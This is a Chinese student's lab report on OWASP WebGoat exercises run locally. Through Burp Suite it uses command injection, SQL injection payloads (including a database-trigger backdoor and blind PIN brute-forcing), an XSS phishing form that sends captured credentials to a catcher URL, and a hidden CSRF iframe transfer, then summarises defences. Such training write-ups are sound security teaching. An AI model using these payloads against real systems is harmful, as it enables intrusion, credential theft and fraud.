20155236范晨歌_Web安全基础实践

20155236范晨歌_Web安全基础实践

目录

实践目标

  • (1)理解经常使用网络攻击技术的基本原理。
  • (2)Webgoat实践下相关实验。

WebGoat

  • WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并不是程序中的bug,而是故意设计用来说授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。
  • 由于WebGoat是基于java开发的软件,因此它具备平台无关性,在各类操做平台上均可以运行,因此本次实验所处的系统为kali机
  • 在命令行中输入如下指令便可运行相关jar
    • java -jar webgoat-container-7.0.1-war-exec.jar
  • WebGoat默认使用8080端口,因此在看到相关提示后便可开始:INFO: Starting ProtocolHandler ["http-bio-8080"]

BurpSuite

  • Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。
  • 配置本机BurpSuite
    • Proxy->Option中选择add添加项,设置代理IP及其端口(我设置的是8088和127.0.0.1),添加完毕后选择run启动
    • 在浏览器中(以火狐举例),在Preferences->Advanced中选择Settings,勾选Manual proxy configuration,输入刚刚设置的IP与端口便可
    • 而后在Proxy->intercept点击`“Intercept is off”,便可启用代理

Injection Flaws

Command Injection

  • 这个界面能够执行系统命令并返回给用户,因此应该在请求项里面添加shell命令,执行ifconfig
  • 具体来讲,就是用前文提到的BurpSuite工具拦截请求,并将其中的参数改成(个人是这样):
    • AccessControlMatrix.help"& ifconfig"
    • 表示执行这2个指令,在网页的最后能看到ifconfig的结果,成功

Numeric SQL Injection

  • 要求:尝试用SQL注入,使得能查到全部的天气
  • 思路也很简单,直接构造永真式,便可查找到全部记录
  • 既能够按照上一题的思路用工具捕包修改,也能够直接按F12修改网页源文件,将须要查找的value改成:101 or 1=1
  • 点击go,看到全部城市的天气,成功

Log Spoofing

  • 题目的意思是要你写一个SQL字符串,由于网页会将你输入错误的用户名返回给你,因此咱们的目标是使得网页返回给你的结果显示的你登陆成功同样
  • 因此在用户名那构造语句:gq%0d%0aLogin Succeeded for username: admin

LAB:SQL Injection

Stage 1:String SQL Injection

  • 根据描述,是要求你在不知道密码的前提下,还能登陆成功
  • 那也就只能用SQL注入了,利用SQL相关语法,利用'进行先后封闭,构成一个永真式,这一题较为基础,构造方法也不少,我用的是'or 1='1
  • 须要注意的是:若是直接写永真式,会超过字符长度限制,而通常永真式超过了限制的8字符,因此得F12查看源代码,对密码输入长度进行扩大,再进行注入;或者能够构造一个密码,使得尽可能提早封闭,如我上述的密码,恰好8个字符。
  • 为了能取得权限,最好选择admin登陆,最后左边栏会有提示成功

Stage 2:Parameterized Query #1

  • 这个没有测试成功,最后才发现题目中有这样一句话,可能只有开发版的才能够成功吧
  • THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAThtml

Stage 3:Numeric SQL Injection

  • 题目要求:登陆Larry帐户,可是能查看Boss的信息
  • 因此首先根据Stage 1中的万能密钥取得Larry权限,这样咱们就能够点击ViewProfile来查看相关信息了,显然此时只能查到本身的信息
  • 但细究其原理不难发现与以前一模一样,此时要查看老板信息,本质上仍是查询数据库中字段为老板的那条记录并输出,因此仍然能够在请求时注入,不一样的是此时没有输入框提供注入字符串,因此咱们要借助前文所提到的BurpSuite工具,拦截此时的请求包,构造SQL请求参数,须要将employee_id的值改成101 or 1=1
  • 但测试后发现仍旧显示Larry的信息,猜测是否是由于界面过小只能显示一个?我这样的注入能够将全部的信息全查询到,那怎样让它输出的第一个就是咱们想要的老板信息呢?
  • 仔细观察Larry的信息表能够发现有Salary这一字段,说明数据表中也存在,那么对于一个老板来讲工资最高,我就能够以工资为条件,对查询结果进行个排序,构造SQL语句以下:
    • 101 or 1=1 order by salary desc
    • 成功,老板工资450k,毕竟老板!

Stage 4:Parameterized Query #2

  • Stage 2,只能在开发版上成功

String SQL Injection

  • 要求:要你输入正确的Last name登陆进去
  • 显然我啥都不知道,只能用万能密钥试一试了,根据前文输入:
    • 'or 1='1
    • 成功,由于为永真,因此任何用户的信息都看见了

Database Backdoors

  • 根据题目要求是要你使用多条语句的SQL注入,更新数据表
  • 根据前一篇博客的多条语句注入练习,在此,设置以下SQL语句:
    • 101; update employee set salary=10000
    • 发现数据表全部人员工资都等于10000已经更新,成功
  • 以上是第一步要求,第二步要求:更加高级的是插入后门,下边这个后门好象是建立新用户的时候会自动修改邮箱为你的邮箱
    • 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid

Blind Numeric SQL Injection

  • 数字盲注,有些时候存在SQL注入,可是获取不到咱们须要的信息,此时能够经过SQL语句的条件判断,进行盲注。
  • 好比这一关,咱们知道一个cc_number=1111222233334444,可是想知道其pin在pins table里的值,可使用盲注进行爆破,输入
    • 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
    • 打开BurpSuite工具监听,捕获到第一条请求报文,由于须要反复尝试咱们能够经过该工具进行暴力破解
  • 右击报文选择send to intruder,而后在Intruder下选择相关设置:
    • Target中,设置本机IP地址HOST,和端口号,也就是WebGoat的地址和端口号
    • Positions中,选择Sniper模式,而后用光标选中须要暴力穷举的变量,在此处是account_number后的值,而后点击右侧的add添加(在此以前点击clear清空全部的)
    • Payloads中,选择type类型为number,而后设置变化范围,并设置步长为1,这样能够精确地找到数据包变化的number,从而便于咱们确认位置
    • Options中,选择Start attack开始攻击
  • 找到数据包大小变化的位置2364,用2364登陆,成功!

Cross-Site Scripting (XSS)

Phishing with XSS

  • 反射型XSS是最经常使用,也是使用得最广的一种攻击方式。它经过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特色是非持久化,必须用户点击带有特定参数的连接才能引发。
  • 将下边的代码输入到文本框,XSS会形成一个钓鱼的登陆界面,用来骗取登陆帐户和密码
</form>
  <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

Stored XSS Attacks

  • 这是一种最典型的储存型XSS的例子,由于没有对用户的输入进行编码,因此用户A能够任意输入,而后用户B点击用户A的留言,触发了XSS,致使中招
  • 具体操做是这样的:
    • title能够任意输入,根据第一次尝试能够发现,输入的这个能够做为一个超连接更新保存在本界面,点击后便可查看输入内容
    • Message输入消息,能够嵌入一段js代码,用户点击后便可触发,例如输入:<script>alert("20145221 attack succeed!");</script>

Reflected XSS Attacks

  • 根据题目能够知道这是一个反射型的XSS攻击,类同于第一个,在交互输入的位置有XSS漏洞,直接构造一段脚本便可发起攻击,例如输入如下代码便可成功:
    • <script>alert("20145221 attack succeed!");</script>

Cross Site Request Forgery (CSRF)

  • 这里是一个储存型XSS和CSRF结合的示例,CSRF就是冒名登陆,用代码伪造请求
  • 这里是把CSRF恶意代码利用储存型XSS放到了网页上,经过留言Message里输入,构造恶意代码以下
    • <iframe src="attack?Screen=504&amp;menu=900&amp;transferFunds=5000"></iframe>
    • 当用户点击这个留言,就会触发,显示已转走5000元
    • 注意:上述screen和menu参数的值和网站右边显示的要保持一致
    • 若是想让用户在不查觉的状况下,能够将<iframe>中的长和宽参数设为1像素,这样就看不见了

总结

SQL注入攻击原理,如何防护

原理

  • 就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
  • 具体来讲,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它能够经过在Web表单中输入(恶意)SQL语句获得一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

防护

  • 检查变量数据类型和格式
    • 若是你的SQL语句是相似where id={$id}这种形式,数据库里全部的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;若是是接受邮箱,那就应该检查并严格确保变量必定是邮箱的格式,其余的类型好比日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是咱们预想的格式,这样很大程度上能够避免SQL注入攻击。
  • 过滤特殊符号
    • 对于没法肯定固定格式的变量,必定要进行特殊符号过滤或转义处理。以PHP为例,一般是采用addslashes函数,它会在指定的预约义字符前添加反斜杠转义,这些预约义的字符是:单引号 (') 双引号 (") 反斜杠 () NULL。
  • 绑定变量,使用预编译语句
    • MySQL的mysqli驱动提供了预编译语句的支持,不一样的程序语言,都分别有使用预编译语句的方法
    • 这样作的好处就是,若是我输入密码:'or 1='1,那他也只会被看成密码来处理,不会和sql语句其余结构关联

XSS攻击的原理,如何防护

原理

  • 恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

防护

  • 一种方法是在表单提交或者url参数传递前,对须要的参数进行过滤
  • 在输入方面对全部用户提交内容进行可靠的输入验证,提交内容包括URL、查询关键字、http头、post数据等
  • 在输出方面,在用户输内容中使用<XMP>标签。标签内的内容不会解释,直接显示。
  • 严格执行字符输入字数控制,由于XSS代码每每不少,因此要对字符数进行控制

CSRF攻击原理,如何防护

原理

  • 跨站请求伪造,攻击者盗用了你的身份,以你的名义发送恶意请求。
  • CSRF可以作的事情包括:以你名义发送邮件,发消息,盗取你的帐号,甚至于购买商品,虚拟货币转帐
  • 形成的问题包括:我的隐私泄露以及财产安全。

防护

  • 验证码
    • 能够在某些敏感操做过程当中,加入验证码,以确认用户身份
  • Token
    • CSRF能攻击成功,根本缘由是:操做所带的参数均被攻击者猜想到。既然知道根本缘由,咱们就对症下药,利用Token。当向服务器传参数时,带上Token。这个Token是一个随机值,而且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的Token是否一致。

实验感想

  • 在安全领域,通常用帽子的颜色来比喻黑客的善与恶,“白帽子”和”黑帽子”是就是两个彻底对立的群体。对于黑帽子而言,他们只要找到系统的一个切入点就能够达到入侵破坏的目的,而白帽子必须将本身系统全部可能被突破的地方都设防,以保证系统的安全运行。
  • 看起来好像是不公平的,可是安全世界里的规则就是这样,可能咱们的网站99%都布防的很好,考虑的很周到,可是只要有1%的地方疏忽了,攻击者利用这个1%必然能进行突破,让咱们另外的99%白费。
相关文章
相关标签/搜索